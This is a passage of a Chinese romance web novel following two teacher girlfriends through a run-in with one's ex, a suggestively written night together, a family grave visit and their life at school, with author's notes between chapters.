“最近怎么样?”余矜淡然道,这话似乎不是对林筝墨说的,而是通过林筝墨的后背传达到简越那边,毕竟林筝墨正在对李舒说话呢。 “挺好的呀。”果然简越回答了,“你呢?” “一般。” 呵,聊上了。 林筝墨的好奇心达到顶峰,笑盈盈回过头看余矜,看似漫不经心实则超经意问:“你们怎么认识的呀?” “她是我学生。”余矜直言:“以前没生小舒之前,我有在学校教过书。” 林筝墨故作惊讶:“那也太有缘分了吧!”回过头看简越:“你居然是余姐学生诶!”!!!!!!!??????? 密室高人竟在我身边????? 简越:不敢吱声jpg. 余矜说:“以前越越专业知识过硬,年级上我最喜欢的学生就是她,比较聊得来,只是后来……”她明显停顿了一下,“嗯结婚之后没有那么多时间了。” 专业知识过硬,林筝墨心想,她哪方面专业知识过硬啊,玩密室逃脱专业知识过硬吗? 这边余矜说得含含糊糊。 但和简越之间,却没那么简单。当初是她默认的那段关系,占有简越的恋爱时间,却用柏拉图来搪塞简越,在简越陷入情感之后,又告诉简越,她要结婚了,是家里人安排的,她们没有未来的。她和简越说,这些年我们获得很多灵魂上的共鸣,心灵得到了满足,爱情不在于一辈子,只要在一起这段时间里问心无愧就好了。 当时简越难过得不行,分开一段时间忽然反应过来,那段分手宣言好像有点渣啊。 什么叫“在一起那段时间问心无愧就好了”,问心无愧就是转身去结婚吗?一个说自己柏拉图的人最后和别的男人生了孩子,虽然看起来她现在婚姻好像也并不幸福。 “谢谢。”简越客客气气,言简意赅,注意力都在林筝墨身上。 “余姐,这本谱上的笔记小舒还是要看一下的,对她考级有帮助。”林筝墨忽然没了待下去的兴致,她现在只想离开,“我有会钢琴的朋友也在西城,后面如果你需要我可以介绍给你,专业知识也过硬。” 简越心里咯噔一下,那句“专业知识过硬”,总觉得隐隐约约有被内涵到。 余矜却没发现其中的端倪,欣然接受:“好啊,你介绍的我放心。” 简越不语,默默拿出手机,慢悠悠开始搜索:女朋友很生气了怎么哄。 未雨绸缪,爹的马上就快要下大暴雨了。 林筝墨体面,微笑着敷衍,说一些无关紧要的话题,大家都很客气礼貌,这是一种默契的客套。实际上,教李舒弹钢琴的这几个月,林筝墨还是和小朋友比较熟悉一点,她和余矜接触没有那么多。 但她知道余矜现在并不是大学老师。 那就是辞了。 待了大概半小时,林筝墨如坐针毡,有离开之意。 “余姐,不早了,就先走了。” 余矜极力挽留:“好久都要见不到你了。”说完这句看了眼简越,又对林筝墨说:“住得远吗?远的话可以住这边,家里有很多房间。” “不了不了。”林筝墨连连拒绝,一句话堵死:“机票是晚上的,今晚就走的,不待到明天了。” 余矜表示遗憾。 林筝墨又客套上去:“以后还来西城的,到时候约小舒吃饭。” 不来了再也不来了再也不来了西城这辈子到此结束这世界太小了。 余矜实在留不住人,不打算强求,要亲自送她们到楼下。 李舒叽叽喳喳,要林筝墨牵牵,林筝墨只好牵着她,走在前面同她说话,好好与她道别。 留余矜和简越走在后面。 “越越。” “在的。” “现在过得好吗?” “非常好。”简越释了一口气,心平气和与她说话:“工作稳定,感情稳定,生活幸福。” “哦,所以你和林小姐——” “结婚了。”简越一本正经胡说八道:“嘶,都,都结婚好几年了。” “结婚?”余矜惊愕之余觉得这词很陌生,于她而言,两个女人结婚这事很遥远,法律上是不允许的,不是吗? “我们家里人都很支持我们。”简越一针见血的:“所以我们想结婚就结婚,我们说什么是结婚什么就是结婚。” 余矜迅速偏过头,不再看简越,心虚和愧疚令她难以对视。 曾经那些她觉得不可能给到简越的,现在另一个人毫无保留给了。 原本是想问简越要不要加回微信的,忽然觉得自己不配,没有资格更没立场。 后只好一路无言,一直送到楼下。 道别。 “林老师下次你真的会来看我吗?” “当然啦。”林筝墨哄小孩有一套:“很快很快~” 很快很快,等到你八十岁我都不会来西城哦,因为你妈妈爱玩密室逃脱。 “好叭,再见。”李舒撇撇嘴,恋恋不舍,“林老师再见。” 林筝墨摸摸她的脑袋,“再见。” “再见。”简越出于礼貌,对小朋友说了再见,但全程没看余矜。 “再见了。”余矜看着林筝墨,心里却在对简越说。 计程车停在马路对面,林筝墨拉着简越,大步流星过去,回过头挥挥手最后一次说再见。 上车。 后座并排坐下。 与司机报上手机尾号。 简越主动开口:“我全程只是保持礼貌,世界好小。” “我知道。”林筝墨好看的唇抿成一条线,目视前方,没了下文。 “你不开心了?” “没有。” 简越去拉林筝墨的手,攥在掌心摩挲,“感觉你有一点点。” 林筝墨装不下去:“有点不好受。” “对不起” “但是你也没错诶。”林筝墨努力让自己理智下来,“你真的没错,我自己消化一下就好。” 一般来讲,如果女朋友说“我冷静一下就好”,如果把这句话当真,这辈子活该单身,简越深谙其中的道理。 她不可能不哄林筝墨。 可现在在计程车上,好多话都不好讲。 她偷偷观察林筝墨的表情,在想怎么哄她,想了想,凑到林筝墨耳边说了句什么。 下一秒,林筝墨侧目瞪了她一眼。 是那种娇嗔的瞪。 简越又凑过去说了句什么,快速吻了一下她的脸。 林筝墨耳尖迅速染上绯红 乱七八糟说些什么啊,说什么等会儿回去赎罪。 1@#!@#!@¥!%@¥—— 作者有话说:明晚九点,不见不散,你们懂的[彩虹屁] 第109章 第一百零九章 手指饼干 第一百零九章 谈恋爱就是这样, 理智上觉得不应该生气,感性上却忍不住,林筝墨闷闷不乐了一会儿,最终还是觉得没必要。 毕竟要真因为这事儿和简越大吵一架, 那也挺幼稚的。 “刚刚我走前面的时候, 你们俩在说什么?” 简越如实招来:“她问我近况, 我说我现在过得很幸福,不劳驾她担心了。” 林筝墨耸耸鼻尖, 不情不愿道:“那她有没有加你微信好友?” “我不会加前任好友。”简越是个有原则的人, “放心吧,没有的事,现在没有, 以后也没有。” 林筝墨心头烦闷消散,舒服多了。她是一个会胡思乱想的人,对于有些事虽然有数, 但是需要简越亲口说出来的。 在安全感这件事上,林筝墨尝尝自愧不如。 简越是个说一不二的人, 开口承诺过的话绝对不食言, 试问这样一个令人安心的伴侣, 怎么舍得真的生她的气呢。 “我饿了!”林筝墨主动靠在简越肩上,“请我吃宵夜!” 笑盈盈的哪还有生气的模样, 简越松了口气, “吃吃吃, 想吃什么都给你吃。” 林筝墨眨眨眼,瞳仁里闪烁着别样的光芒,靠近一些,在简越耳边说了句:“所以我想吃那个也可以吗?” 絮絮低语, 低到前排司机根本听不见。 简越一个眼神过去,“吃哪个?” 林筝墨贴过去,又吐出几个字。 简越耳面泛红:“你” 这车上有两个人在开车。 且林筝墨是一百八十迈! 五公里路程,车子停在小区门口,路过一家便利店,简越不放心问了句:“要不要买点东西上去?” 林筝墨摆摆手,“吃不下了。” “我以为你都饿,真的要吃点什么我们现在就买。” 林筝墨回望过去,饱含深意地看了简越一眼,暗示很明显——我要吃的是那个宵夜吗? “喔。”简越秒意会,“好。” 心跳如雷,入电梯时心脏咚咚直跳,思绪很飘,觉得,觉得血液在快速涌动,牵连着脸颊一片肌肤都发烫,分明一切还没开始,好像已经预料到要发生什么了。 实话说,简越很期待。 “不知道为什么要等这么久。”身旁林筝墨忽然开口,下一秒电梯门打开,她走出去。 “什么?”简越快步追上去,“什么等多久?” 林筝墨不语,开门进去,轻飘飘落下一句:“我先洗澡。” 她似乎不打算回答那个问题,关于「为什么要等这么久」,那么久,当然是指今晚要做的事,记得一周前她们正准备做,周京芳和林鸿到公寓来打断她们,那日,林筝墨满怀期待以为晚上会继续,但那晚简越根本没有行动,搞得林筝墨很费解,难道简越没有那种冲动了吗? 终究是不爱了!呜呜! 然后,然后是隔天,隔天不巧碰上生理期,一直到现在。 总之总之,对林筝墨来说真的好久。 在胡思乱想中洗澡,在胡思乱想中游神,温水洗刷着繁乱的思绪,掬了一捧水拂在脸上,晶莹水珠顺着纤丽的面庞落下,眼神过于认真,秀眉紧蹙,以至于整个人呈现出一种冷感,实际上,林筝墨有时候确实会呈现出冷冰冰的反差感。 咚咚咚—— 简越隔着玻璃门在外面敲了几下。 林筝墨关掉花洒,眼底瞬间聚满色彩,“怎么啦?” “我要和你一起洗。” “啊?” “可不可以?” 就是这么霸道,那种来自女朋友的自信,乒乒砰砰将林筝墨的理智击碎。 求之不得。 “随你啊。”林筝墨又不想表示得太明显,同时挤出沐浴露,在自己身上抹了泡泡,就等简越进来,“随你。” 简越应声开门,目光朝林筝墨投去,林筝墨下意识抱紧双臂,害羞起来。 “冷不冷?”简越径直向她走来,“你把水打开呀。” 说话时也没闲着,开始解决身上的衣服,一件一件掉落在地,待到林筝墨重新拧开花洒的时候,简越已经站在她面前。 两人对视一眼,下一秒拥在一起,林筝墨情不自禁发出“唔”的一声。 忽然觉得冬天开始融化了 * 林筝墨想起有一次,她站在这里洗澡,是一边洗一边哭的。那时还是秋天,百叶窗外是几棵泛黄的梧桐树,落叶飘,冷风吹,她想自己这辈子是不会爱除了简越之外的人了,那一刻她觉得很孤单。 这种孤单踏上一辆列车,坐过秋冬,如今停靠在这个夜晚。 是哗啦啦的水声流淌在耳边,是泡沫挤压在肌肤之间,丝滑的化学试剂黏合着她们的爱。 简越把林筝墨一只腿放在自己腿上,支撑点是身后冰冷的墙。 有点青涩却很顺利。 “可以搂着我。”简越说。 林筝墨乖顺地伸出手,双肢攀上简越的肩,她心头住着两个精灵,一个是内敛的,一个是狂野的,没有打架,只是按照先后顺序出来。 “冷不冷?” “不。”林筝墨觉得在这之前一定要问出那个问题:“你上周为什么不?” 简越笑着说:“因为没买” 林筝墨抿唇,“但柜子还有,你也不知道问。” 夏天剩下的。 简越又说:“然后我外卖了,外卖到了发现你睡着了。” 到底是谁比较冤?甚至被某些人误会不爱了。 但话又说回来,说话间,趁林筝墨不注意,简越直接了一点,林筝墨瞬间变化的表情说明一切。 这种感觉有点像小时候肚子很饿的时候,妈妈忽然喂了很多好吃的过来,你忘了吃饭的过程,只觉得很饱,但饭很香,所以又想继续吃。 林筝墨想说点什么,却忽然一句话都说不出来,她连吸一口气都很费劲,因为呼吸有点断断续续,只能一只手握着简越右手的手臂,感受着臂膀活动时肌肉突起的节奏。 “喂。”简越直勾勾看着她,看她俏丽动人的模样,不舍得眨眼。 “嗯嗯?”林筝墨迷迷糊糊的。 “刚刚你说你要吃什么宵夜?” “吃”第一次觉得中国人说几个汉字都那么困难,她有点失控,有点想哭,紧捏着简越手臂,索性破罐子破摔,“手指饼干。” “乖。” 后来吃些什么乱七八糟的林筝墨记不得了,她只记得思绪游离时,简越问了她很多个问题,有时候耻于回答,简越非要强迫她说,她觉得自己又变成了心甘情愿回答问题的人,平日开不了口的全都说,渐入佳境,颇有一种“我的嘴巴不是我的嘴巴”的气势。 空间失重感,觉得天黑了,全是雾,有那么几秒钟林筝墨抬起头看天花板,迷人的白炽灯光洒在她瞳仁里,忽然觉得世界在旋转。 旋转的是整个冬天,四季是一张方方正正的白纸,冬天对折过后便是夏天。 似乎又触碰到曾经那种熟悉的感觉,整个夏日溽热熏蒸,大汗淋漓,她们在采光极好的教师公寓,躺在沙发上,听厨房煮的那锅粥,咕嘟咕嘟。 咕嘟咕嘟也是林筝墨此时此刻的心情。 在明亮的灯光下,瞥见简越那张脸,挺拔的鼻梁粉红的唇,一双水雾荡漾的眼睛,令林筝墨心头填满了快乐。她觉得简越的瞳孔是一面镜子,甚至可以透过其中看见自己的模样。 溃了。 简越收拾宵夜残局,仔仔细细擦干净,林筝墨摁住她的手,“我自己来。” “你歇会儿。” 林筝墨没有力气推搡,随简越去,整个人还轻飘飘的,有气无力靠在简越肩上。 “我,好,困。” “马上,我把你头发擦干。” 林筝墨阖眼不语,她现在需要时间恢复精力。简越简单收拾了一下,带林筝墨去客厅,拿过吹风机,开始给林筝墨吹头发。 林筝墨像是跑了五千米那么累,脑袋贴在简越的小腹上,一双手环抱着她的腰,任由热风吹干自己头发。 吹了好久,直到头发快干的时候才抬眼。 “简越。” “嗯?”简越关掉吹风机,“你说什么?” 林筝墨眼皮半掀,懒洋洋道:“我叫你名字呢。” “怎么啦?”简越弯下腰,眉眼弯弯,揉揉林筝墨侧颊,“怎么啦?” 林筝墨抱着简越胳膊轻轻咬啃,在白嫩的皮肤上留下几个牙印才作罢,后仰,倒在沙发上,可爱地叹气:“我要散架了!” 那个姿态腿异常累,以及她现在脑袋清醒,终于想起刚刚说的那些乱七八糟的话了。 简越使坏引导她说些话。 露骨到是会半夜做噩梦惊醒都觉得害怕的地步。 不服! 戳戳。 戳戳简越的胳膊,催促道:“你也吹,快点吹。” 说完林筝墨手肘支撑在沙发上,勉强支起来,眯了眯眼,意志坚定地起身,简越想扶她,却拒绝了。 “我去房间躺着等你。”说话时扶着腰。 简越愣了一下,“什么意思?” “我没饱。”林筝墨小步小步往前走,怎么听起来有点意犹未尽。 简越单纯到以为她真的饿了,先前确实消耗体力,“那我下楼便利店买包泡面上来煮给你吃。” 那时林筝墨已经走到卧室门口,忽然驻下脚步,回过头望向简越,“我不饿。” 简越:“?” 到底饿不饿? 麻烦你们英语老师说话清楚一点OK? 林筝墨冷不丁来一句:“但我依旧饿。” 简越心跳陡然加速,恍然意识到林筝墨的一百八十迈从头到尾都没停过,她从头到尾都在饿,但从头到尾都没饿。 “吃什么。”简越故作平静看向林筝墨,一些画面涌入脑袋,刚刚的林筝墨实在美极了,怎么可能不动情,话糙理不糙,她也挺想的。 “等你。”林筝墨不回答她吃什么,只身进入房间,大概两秒过后,准确来说,两秒是极限,空气里忽然传来一道声:“不吹了,你现在就进来。” 简越:“0.0?” 第110章 第一百一十章 过去和未来,从未走远…… 第一百一十章 整个夜晚酣风肆意, 亲热得可怕,渴求已久的欲念包裹着彼此的身体,是海浪席卷过后依旧轻喘的海滩,直到虚浮的感觉在脑海回荡, 久久无法归于平静。 从来预料过肌肤之亲可以带来这样的慰藉。 黑暗中, 林筝墨的视线落在在简越身形轮廓上, 指尖来回摩挲着,觉得困乏, 一股寒冷之意忽然侵袭而来, 两人紧贴在一起,坠入酣睡 隔日,简越觉得自己是零件生锈的机器人, 手挪酸,脚挪痛,折腾得快要快散架。转身一看, 林筝墨更是疲惫到醒不来。 熟睡的林筝墨黑发随意散落枕边,一只手贴在侧脸, 睡相向来是极其规矩的, 眼睛阖上, 呼吸均匀,薄而粉润的嘴唇, 让人很有亲她的欲望。 简越在她唇边啄了一下, 觉得不够, 又吻几下才作罢。 快到十点的时候,周京芳打来电话,问进展顺不顺利。由于林筝墨在这里留下的东西真的不多,所以叫某拉拉师傅简单打包了一下, 一并寄到南城去。 一切整理好,俩人也不打算久待,直接坐高铁回南城,按照这时间安排,甚至晚上回家吃个饭时间也绰绰有余。 来自【相爱相杀的一家人】群聊。 周京芳:[越越,你们下午大概几点到?] 简越:[大概三点。] 周京芳:[那挺早的,要不要我们等你们一起去扫墓?] 简桑加入对话:[目前是我和京芳。] 那时林筝墨正在卫生间洗漱,简越问她去不去,林筝墨含着牙膏沫狂点头,发出唔唔唔的“去去去”。 简越:[要去!] 周京芳:[等你们,玫瑰jpg.] * 告别西城就像告别一个并不熟的初中同学,关于它的留恋很浅很浅,临走前,林筝墨买了很多礼物,送到房东阿姨那里去。 那阿姨好像很喜欢她,拉着她的手抹眼泪,嘴巴里说着什么:“还想把你介绍给我侄子来着吧啦吧啦” 林筝墨只能陪着尬笑。 简越不语,耐着性子听她们寒暄完毕,俩人转轴去坐高铁,上车后,俩人倚靠在一起,林筝墨拿出耳机听歌,分享一只给简越。 “听什么?”简越接过耳机。 “随便听听。” “好。” 车内有老年人眯着眼睛在看某音视频,隐隐约约听到后座有人在嗑瓜子儿,广播里是标准的女播音腔“Ladies and gentlemen”,车窗外绿溶溶的树和电线桩一帧一帧闪过,林筝墨靠在简越肩膀上,播放一首王菲的老歌名为《胡思乱想》。 在林筝墨很小的时候,周京芳很喜欢听这首歌,那时候家里的音响连夜地播放。 年幼的林筝墨不懂欣赏,总觉得很难听,在房间写作业总要捂着耳朵。 直到长大以后,林筝墨在某天忽然爱上这首歌,是忽然爱上的,在某一天,某一秒钟,某一个稀疏平常的日子。 那首歌有一句歌词:想你,想你,想飞,恋爱令人漂亮,也可会令人无端胡思胡想 林筝墨觉得那一句“恋爱令人漂亮”唱得真的非常漂亮,她愿意用漂亮来形容一首歌。 每一次听这首歌都会想起简越,而现在想念的人就在身边。 车窗玻璃进入隧道,划的一声将她们一同拉入黑暗,灯内反射出明艳的脸庞,林筝墨在反射中看见简越,简越弯唇对她笑,林筝墨伸手去拉她,两人无声之中十指紧扣。 耳机里的歌自动切换,下一首是熟悉的《春日,樱花还有你》。 遥想去年春天某个下雨的日子,一同从健身房出来,简越骑车带林筝墨去福利院,那天的雨很大很大,大到整个世界都是水雾,大到林筝墨不得不和简越一起。 那时候简越只是“简主任”,秘密情人是藏在手机里的“啊啊啊”,这是两个毫不相干的人。 可那天她们回到公寓,林筝墨还是弹了这首曲子给简越听,以至于后来好几次回忆起来,都觉得不可思议,不认为同事之间能熟悉到那个地步。 “其实我也会弹这首。”简越忽然说。 “你也会?”林筝墨诧异。 “嗯,我有去学,准备公开身份那天我不是订了一个餐厅吗?” “啊?”林筝墨摘下耳机,略微惊讶地看着简越:“然后呢?” “原计划是吃饭,弹钢琴给你听,但你气得逃跑了,一切就都泡汤了。” 听得林筝墨心情一半甜,一半涩,“那后来在一起,你怎么没弹给我听?” 简越视线停留在半空,感慨:“不知道说出来你会不会生气。” “你说。” “虽然后面谈恋爱,但心里总是不踏实,也许是因为这种不踏实,好多事我都没敢去做。”简越委婉道:“因为知道你家庭压力很大,其实是有一点点看不到未来的。” 其实简越什么都知道,她知道林筝墨最后可能不选择她,可饶使是那样的境况,依旧是义无反顾和林筝墨在一起了。 把所有的恐惧都抛之脑后,愿意努力去争取,她对她有无限的耐心,即使即使,即使在分手之后,怨恨她也只是因为她一直不回家而已。 林筝墨眼底不自觉噙着泪,心头泛酸,握着简越的手不自觉紧了些。 “对不起。” “你才没有对不起。”简越主动靠近一些,轻捏林筝墨的脸,眼底荡着诚恳的光:“我知道你也很努力,能到这一步,不是我一个人的功劳,是我们努力的结果。” 相爱到最后会发自内心地感谢,感谢在这大千世界,能够彼此遇见,曾经那个只想当隐形人的小鸵鸟,后来也极力抗争过,不是每个人都有撕碎体面的勇气,她已经抵达她的极限。 “简越”林筝墨红了眼眶,阖上眼。 “在。” “就一直——”列车忽然划地一声穿破隧道,忽又见蓝天白云,一句话只听见一半,但默契地了解,后半句了然已不重要,列车柔软地摇晃,风景令人心旷神怡。 “好。”简越回握林筝墨的手。 * 由于俩人没带什么行李,下高铁之后便直接打车去墓地和周京芳她们汇合。 周京田葬在郊区的公墓,实际上,从小林筝墨基本没来看过她,不是不想来,而是不准来。 记忆里只有一次,周京芳带她来,一直在哭,可能不想让小孩知道过多,后来索性不让林筝墨来了,以至于林筝墨连小姨具体在什么位置都不清楚。 冬天太阳稀薄,空气湿冷。 不起眼的墓地一角,两个穿着黑色大衣的中年女人并肩而立。 灰色花岗石上贴着周京田青涩的照片,黑白照也抹不去她年轻时的清秀纤丽,一双清澈的眼睛,本应该看到这个世界更多的风景,如今令墓碑之外的两个人揪碎了心。 “你每年都会来?”周京芳侧目看简桑,“但我从没碰见过你。” “错峰。”简桑言简意赅,“碰见你,你又要骂我了。” 周京芳嗟叹:“太久了,有时候看到妹妹的脸会觉得陌生,不知道她长成我们这个年纪是什么样子。” 简桑垂眸,一阵风吹来,牵动着额前的碎发,“我想过,猜想她也只是多几道皱纹而已。” 那句没说出来的话是,岁月不会带走美丽,只会炼化出更有韵味的漂亮,可惜可惜,没有机会了。 “其实她们俩,我从没想过。”周京芳再度感慨:“莫不是真有什么缘分。” 简桑拥有同样的感觉,“这就是缘分,胡外婆葬礼上那次,我就知道她俩应该恋爱了。” 周京芳揉揉眉心,“但我那时候真的接受不了。” “我知道。”简桑相当了解周京芳,“所以我什么都没说,让时间来淡化一切。” 相较于周京芳的感性,简桑绝对是理性的代表,年轻时俩人是闺蜜的时候,村里的人便说,简桑高智理性,适合当研究员,周京芳多愁善感,适合当文艺青年,说这八竿子打不着的人,是怎么关系那么好的。 只有她俩知道,周京芳情绪激动的时候,简桑能有条不紊地安慰她,而简桑过于理性的脑袋,需要周京芳这样的活人来填充一下色彩。 “诶~”周京芳用手肘碰了碰简桑胳膊,“问你个事。” “什么?”简桑侧目看她。 “我真的很强势吗?” “是。” “哎你——”老姐妹说话别这么直接。 简桑改口:“但现在要好一点了。” 周京芳嘴唇抿成一条线,叹气:“你是会说实话的人。” 简桑又说:“但你很爱墨墨,你会为她改变,这一点就很好。” “喔所以是在夸我还是别的?”周京芳发现自己既想听实话,又很想得到简桑的认可,莫名其妙。 “嗯”简桑直视前方,看着周京田的照片,“嗯时代变了,恋爱应该也要自由吧,如果你给她们自由,那就是值得夸赞的。为什么我要说“你给她们自由”,实际上我们并没有“给”的权利,但因为她们在乎我们,赋予了我们这个权利,那我们也不能让她们失望了罢?” 简桑说话就是这样的调性,向来都从很理智的角度切入,有时候一针见血到令周京芳哑口无言,但却是句句在理的。 “我支持她们呀,我现在支持了。” “要加倍支持。”简桑冷不丁道:“你拆散人家俩,现在要当一个好人,可没那么简单。” 周京芳被说得脸一阵红一阵白的,“你说话怎么这么难听。” “忠言逆耳。”简桑打一巴掌给颗糖,“但你现在比以前好多了,你是听劝的,你也很好。” 周京芳差点气急攻心,又被简桑一句话哄得服服帖帖,心情忽上忽下。 不远处,林筝墨和简越过来,俩人手里各自捧了一捧花。 乍一看女才女貌的,煞是养眼。曾经周京芳很少关注女生和女生之间的那种情愫,她大直女一个,实在欣赏不了,如今有了一点点概念,忽然审美升级,觉得很登对。 “般配。”周京芳小声嘀咕,“挺好。” 简桑故意说:“那你拆散人家,大半年的。” 周京芳倒吸一口凉气,猛然侧目看简桑:“不要再针对我了!我在支持了!人非圣贤孰能无过?” 简桑扬唇笑,“嗯,好吧,就不说你了。” 风絮絮地吹,从那头吹到这头,一片树叶从树上掉落,飘啊飘,飘啊飘,最终落在简桑的肩上,简桑低头去看墓上的照片,一股异样情愫忽然袭上心头。 那是一种感觉,感觉她还在身边。 忽抬起头一看,发现林筝墨正牵着简越过来,白昼的光映在俩人脸上,熟悉的感觉在简桑的回忆里逐渐交叠重合。 是的吧,都还在—— 作者有话说:大概还有二三四章完结 那么这本要接近尾声了 我的下一本《我当网管那些年》喜欢的可以专栏先收藏[彩虹屁]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第111章【VIP】 第111章 第一百一十一章 我正在想你呢 第一百一十一章 期末考试那天, 几乎所有老师都在办公室里,正值自习时间,那时林筝墨正在整理桌子,隔壁赵铭坐在椅子上滑过来, 低声问:“诶林老师, 简主任要搬家了, 你知道吗?” 林筝墨抬起眼皮,神态疏懒, “啊什么时候的事?” “嘿我还以为你知道呢, 你俩不是最熟了吗?”赵铭全然没搞清状况,傻到偷偷问林筝墨:“和我说说,简主任是不是谈恋爱了!” 林筝墨稍稍后仰, 靠在椅子上,装模作样的困惑,手指揉揉太阳穴, 一套动作连自己都骗过去,“不是吧?她谈了吗?我完全不知道!” “她最近身上散发的那股恋爱味儿太浓了。” “何以见得?” “前些天工作上有纰漏, 我没做好, 没批评我就算了, 我说她心情咋这么好呢,出了办公室一回头发现人家玩手机笑呢。” 哦, 那时候简越正在和林筝墨进行网文大赛——十八岁以上才能看的那种, 一些小情侣之间的dirty talk. “我不知道, 确实不知,没听说过。”林筝墨别过头,在赵铭看不见的角度绷着笑,“你要真感兴趣, 就问张老师吧。” 赵铭的椅子又滑到张老师桌边去。 “你咋恁八卦呢!”张老师最近输钱,正愁没人教训:“人家搬个家你说人家谈恋爱去了!你天天脑袋里想些啥,我看你就是不怀好意,小心我到小简那儿捅你篓子去!” “天啦我都结婚了我不怀什么好意!”赵铭抱头逃窜,“诶诶诶,真服了。”小巴掌轻轻往嘴边送,“死嘴死嘴!” 上午监考,考完语文,林筝墨走出教室,走廊上遇见简越,俩人打了个照面,但也只是颔首示意,和兔子见王八似的,各走各的,她俩在学校一直很低调。 林筝墨低头看微信信息。 简:[停车场等你。] 林:[赵铭说你在谈恋爱,你完蛋喽,你被抓喽。] 简:[我很明显吗?惊恐jpg.] 林:[他觉得你最近很和蔼,老笑,也不批评他,怀疑你有恋爱的味道。] 简:[明白了,马上骂他工作能力不行。] 林:[?] 简:[快下来,林老师,等您。] 林筝墨快步去地下停车场,一般来说简越会在车上等她,俩人会驱车去公寓,吃饭,睡午觉,下午再上班。 周京芳近日真是体恤得不得了,怕她俩吃不好,或是没时间做,总是提前两三天给她俩做好,密封拿来冻冰箱。 世上只有妈妈好哟妈妈好。 今日是白萝卜炖牛腩,解冻就能吃,美味到当场晕厥。 林筝墨走到车旁,委身坐在副驾,才刚挨着座椅,忽然被揽过去,某女人的香味扑面而来,下一秒吧唧一声,脸颊留下印记,到底还是防不胜防了。 “哎呀~”林筝墨开始扣安全带,心跳得厉害,“下次不许!” “防偷窥膜谁能看到。”简越发动引擎,缓缓将车子驶出去。 最近两周敲定了一件大事,房子的事妥了。 原本还想再看看,看来看去还是那一套最喜欢,加上周京芳是个急性子,生怕钱花不出去,平日里帮着跑手续,很快便拿下了。 装修是大事,这方面的知识比较薄弱,打算学习一下。 俩人的计划是,找个靠谱设计师,好好筹备一下新家的事宜,落实下来就开始进行,计划是明年这个时候搬家。 在此期间俩人都住林筝墨的公寓。 因为受不了分居的煎熬,简越索性从教师公寓搬出来了,为了爱,和居住多年的教师公寓说拜拜了,断舍离了许多东西。 离开那天,简越站在阳台抱着小花盆哭。 林筝墨见了,说你好可怜哦,我们还是不要住一起了,你继续在这里。 下一秒简越就止了泪,噼里啪啦狂搬家,生怕晚一秒钟那个女人就不要她。 现在住的公寓虽小,但整理了一下,干净又整洁,两人一猫的日子相当幸福。 “噢妈又在问了。” “什么?” “让点菜,过年好吃好喝的备上。”林筝墨照着屏幕上的念:“现在有十几个菜了。” “那我不点了。”简越感叹,“做这么多啊,是不是要吃好几天了。” 林筝墨又道:“没有,人多,赵筱筱一家也来,说是大家认识认识。” 她们那一辈就爱搞那一套,总是觉得越热闹越好,这好像是周京芳和简桑共同的决定,两个年轻人不敢有半点意见。 到家后泡泡在睡觉。 入门玄关处,灰色呢子大衣挂在衣架上,两人默契地拥在一起,林筝墨埋在简越脖间,内心觉得异样的幸福。 她认为,简单生活并不简单,稀疏平淡的日常,其实是极其难得的,而和自己相爱的人度过余生,这是命,不是人人都能有的。 简越贴在她耳边低语:“那赵铭还和你说什么了?” “他没敢说太多,问张老师去了,结果张老师一句话给他堵死了。” 简越双手搭在林筝墨的后腰上,下巴搁在林筝墨肩上,这会让她感到舒适。 笑起来:“你说在同事那边,我们俩明不明显?” 林筝墨指尖捻着简越的长发,絮絮说:“不吧,我们在学校好陌生的,你对谁都笑,就是不对我笑。” 一点点假意的埋怨。 简越果然抬起头来,略带惊诧地看着她:“林老师!你好会倒打一耙!” 明明是谁在家约法三章,明明制定规则的是她林筝墨,明明说的是:在学校,不熟不说话不许笑。 违约了还要罚50块钱呢。 连续违规当晚还要被搞…… 林筝墨笑起来,眉眼弯弯,眼底带着一点理亏的局促,立马去抱简越,预感到简越要说点什么,迅速吻上去,暗戳戳地阻止了对方的审判。 接吻不分时间,也不讲究次数。 爱人温热的气息拂在唇畔,吻一百万次也嫌少,有时只是短暂的,浅尝辄止的,却是她们之间必不可少的精神慰藉。 吻得累了,热了,简越推着林筝墨去沙发躺着,折身去厨房里热饭。 泡泡跟着去厨房兜了一转,慢条斯理踩着猫步出来,又咻的一下跳上沙发,窝在林筝墨脚边,揣着手手,一双玻璃珠似的亮眼看着林筝墨,乖巧温顺,可可爱爱。 “那姨妈也知道我们的关系了吗?”林筝墨问厨房里的人。 “啊?” “不是除夕筱筱一家也要来呀。” “对哦。”简越忽然从厨房探出来,“那肯定是我妈说的了。” 林筝墨莫名紧张起来,见家长这事她很不擅长,更何况是很多家长。 简越预料到她会局促,宽慰她:“没什么,姨妈一家很好相处,你要是紧张就我来。” 林筝墨从沙发上下来,趿着拖鞋去厨房找简越,又朝她身上贴。 “那除夕那天我们怎么玩?”她蹭着简越的后背,说话时轻柔和缓。 “你想怎么玩?” “城里好像不让放烟花了,但我有一点想放。” 简越搅拌着加热的牛腩,思索着,“没问题,我们可以开车去乡下放。” “可不可以——” 简越抢答:“可以。” 林筝墨笑:“你知道我要说什么吗?” 简越扬唇,“我猜你想说,可不可以就我们俩,别人都别去。” 林筝墨不语,只是从身后抱简越,埋在她颈间。 牛腩把幸福值又提升了一个高度,自从吃了芳芳的饭,再也没人对她有半点意见。 午间无非就是吃饭,追剧,直到饭晕,迷迷糊糊去床上躺着,你抱着我,我抱着你,贴在一起叽咕叽咕地聊天,常常忘了什么时候睡着了。 有时候外面下雨,雨点忒啦啦地拍打着玻璃窗上,总给人一种外面很冷的感觉,但却只是“觉得”,因为房间实在是太温暖了,身体也是,滚烫的,滑滋滋的,这种感觉好像和冬日的调性不符。 好几个瞬间,一些午后,林筝墨从睡梦中醒来,都觉得异常恍惚,她望着天花板,觉得房间里的味道异常好闻,好像气味也被烘烤过,有点像糖炒栗子那样的甜。 而简越总是拥着她,总是,那纤细柔软的手臂轻轻搭在肋骨上,有时候要下面一点,或是小腹的位置,这种侧身的拥抱更有实感,因为可以感受到对方熟睡时,鼻腔里呼出来的热气。 然后林筝墨会有一种老实巴交的感慨:此生无憾。 嘚嘚嘚~ 小闹钟响起。 俩人慢悠悠爬起来,简越帮林筝墨穿衣服,林筝墨蜷缩在她怀里嘟哝:“不想上班!!!” 她哄她:“啊呀还有两天啦!” 林筝墨继续:“简主任给我放假!!” 简越笑着拍拍她,“你好装哦,在学生面前可不是这样。” 兢兢业业的林老师。 一丝不苟的林老师。 严谨温柔的林老师。 背地里只能在女朋友怀里哼唧,她虽工作认真,有时候却是懒的,这种懒让人觉得很可爱,很真实。 “监考监考。”简越拉她起床,“收拾收拾出发了。” 